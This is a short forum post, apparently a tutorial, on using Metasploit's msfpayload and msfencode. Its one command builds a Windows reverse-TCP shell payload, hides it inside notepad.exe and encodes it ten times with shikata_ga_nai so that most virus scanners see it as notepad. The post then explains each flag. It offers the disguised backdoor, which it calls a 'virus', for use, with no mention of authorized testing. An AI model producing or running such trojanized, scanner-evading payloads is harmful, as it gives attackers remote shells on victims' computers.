Hello everyone! This will be my first tutorial on here. Before I start I would like to encourage you all to vote on my other thread for which programming language you would like a video tutorial series on. :)

Now, on to the tutorial!

Metasploit is a very nice framework. If you don't know about it, head on over to www.metasploit.com. It's basically an exploit framework. You can even make your own exploits (using ruby) with their own template...if you all wish, I can make another tutorial covering how to make your own exploit in Metasploit. :)
Metasploit is available on Windows and Linux, but they also have a UNIX version you can use to run it on a Mac.

Now, I'm going to be doing this on a Linux VM. The commands should work on the UNIX version too, but I've never used the Windows version...it might have a GUI. But, I'm not sure. (correct me if I'm wrong) So, first I'll write the command, then I'll break it down:

./msfpayload windows/shell/reverse_tcp LHOST=127.0.0.1 LPORT=8888 R | ./msfencode -x notepad.exe -t exe -e x86/shikata_ga_nai -c 10 -o ex.exe

Okay, now, the ./msfpayload basically accesses payloads directly. windows/shell/reverse_tcp is the payload we're selecting. LHOST=127.0.0.1 LPORT=8888 are the payload's options/parameters. A pipe ( | ) let's you throw the output of one command, in our case msfpayload, into another. ./msfencode is the command we'll run to encode our "virus". -x notepad.exe this will be ran and will be seen as this to most virus scanners. -t exe means we'll be outputting a .exe file. -e x86/shikata_ga_nai is the encoding algorithm we're using. -c 10 is the number of times we'll encode the "virus". -o ex.exe is the filename we're outputting.

...and that's it! Keep in mind, this is just a msfencode tutorial. If you want a different tutorial, please post a reply!

Thanks!!
